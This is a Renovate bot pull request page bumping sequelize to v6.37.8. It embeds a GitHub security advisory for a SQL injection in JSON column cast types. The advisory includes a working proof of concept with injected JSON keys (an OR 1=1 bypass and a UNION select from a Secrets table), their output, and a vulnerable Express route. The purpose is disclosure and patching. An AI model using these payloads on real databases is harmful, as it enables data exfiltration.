Skip to content

fix(deps): update dependency sequelize to v6.37.8 [security] - #243

Closed
renovate[bot] wants to merge 1 commit into
nextfrom
renovate/db-curd-demo-npm-sequelize-vulnerability
Closed

fix(deps): update dependency sequelize to v6.37.8 [security]#243
renovate[bot] wants to merge 1 commit into
nextfrom
renovate/db-curd-demo-npm-sequelize-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Mar 11, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
sequelize (source)6.37.56.37.8ageconfidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

CVE-2026-30951 / GHSA-6457-6jrx-69cr

More information

Details

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892_traverseJSON(items,baseKey,prop,item,path){letcast;if(path[path.length-1].includes("::")){consttmp=path[path.length-1].split("::");cast=tmp[1];// attacker-controlled, no escapingpath[path.length-1]=tmp[0];}// ...items.push(this.whereItemQuery(this._castKey(pathKey,item,cast),{[Op.eq]: item}));}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return`CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

constALLOWED_CAST_TYPES=newSet(['integer','text','real','numeric','boolean','date','timestamp','timestamptz','json','jsonb','float','double precision','bigint','smallint','varchar','char',]);if(cast&&!ALLOWED_CAST_TYPES.has(cast.toLowerCase())){thrownewError(`Invalid cast type: ${cast}`);}
PoC

npm install sequelize@6.37.7 sqlite3

const{ Sequelize, DataTypes }=require('sequelize');asyncfunctionmain(){constsequelize=newSequelize('sqlite::memory:',{logging: false});constUser=sequelize.define('User',{username: DataTypes.STRING,metadata: DataTypes.JSON,});constSecret=sequelize.define('Secret',{key: DataTypes.STRING,value: DataTypes.STRING,});awaitsequelize.sync({force: true});awaitUser.bulkCreate([{username: 'alice',metadata: {role: 'admin',level: 10}},{username: 'bob',metadata: {role: 'user',level: 5}},{username: 'charlie',metadata: {role: 'user',level: 1}},]);awaitSecret.bulkCreate([{key: 'api_key',value: 'sk-secret-12345'},{key: 'db_password',value: 'super_secret_password'},]);// TEST 1: WHERE clause bypassconstr1=awaitUser.findAll({where: {metadata: {'role::text) or 1=1--': 'anything'}},logging: (sql)=>console.log('SQL:',sql),});console.log('OR 1=1:',r1.map(u=>u.username));// Returns ALL rows: ['alice', 'bob', 'charlie']// TEST 2: UNION-based cross-table exfiltrationconstr2=awaitUser.findAll({where: {metadata: {'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'}},raw: true,logging: (sql)=>console.log('SQL:',sql),});console.log('UNION:',r2.map(r=>`${r.username}=${r.metadata}`));// Returns: api_key=sk-secret-12345, db_password=super_secret_password}main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
FROM `Users` AS `User`
WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]
SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
FROM `Users` AS `User`
WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]
Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search',async(req,res)=>{constusers=awaitUser.findAll({where: {metadata: req.body.filter}// user controls JSON object keys});res.json(users);});

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

sequelize/sequelize (sequelize)

v6.37.8

Compare Source

v6.37.7

Compare Source

v6.37.6

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot changed the title fix(deps): update dependency sequelize to v6.37.8 [security]fix(deps): update dependency sequelize to v6.37.8 [security] - abandonedMar 27, 2026
@renovate

renovateBot commented Mar 27, 2026

Copy link
Copy Markdown
ContributorAuthor

Autoclosing Skipped

This PR has been flagged for autoclosing. However, it is being skipped due to the branch being already modified. Please close/delete it manually or report a bug if you think this is in error.

@renovaterenovateBot changed the title fix(deps): update dependency sequelize to v6.37.8 [security] - abandonedfix(deps): update dependency sequelize to v6.37.8 [security]Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/db-curd-demo-npm-sequelize-vulnerability branch 2 times, most recently from 0033b5b to 4b351ebCompareApril 8, 2026 17:49
@renovaterenovateBot changed the title fix(deps): update dependency sequelize to v6.37.8 [security]fix(deps): update dependency sequelize to v6.37.8 [security] - abandonedApr 27, 2026
@renovaterenovateBot changed the title fix(deps): update dependency sequelize to v6.37.8 [security] - abandonedfix(deps): update dependency sequelize to v6.37.8 [security]Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/db-curd-demo-npm-sequelize-vulnerability branch from 4b351eb to ce59f8aCompareMay 12, 2026 10:57
@renovate
renovateBotforce-pushed the renovate/db-curd-demo-npm-sequelize-vulnerability branch from ce59f8a to e2a0390CompareJune 24, 2026 03:56
@mmdaplmmdapl closed this Jun 24, 2026
@mmdapl
mmdapl deleted the renovate/db-curd-demo-npm-sequelize-vulnerability branch June 24, 2026 08:28
@renovate

renovateBot commented Jun 24, 2026

Copy link
Copy Markdown
ContributorAuthor

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (6.37.8). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

@mmdapl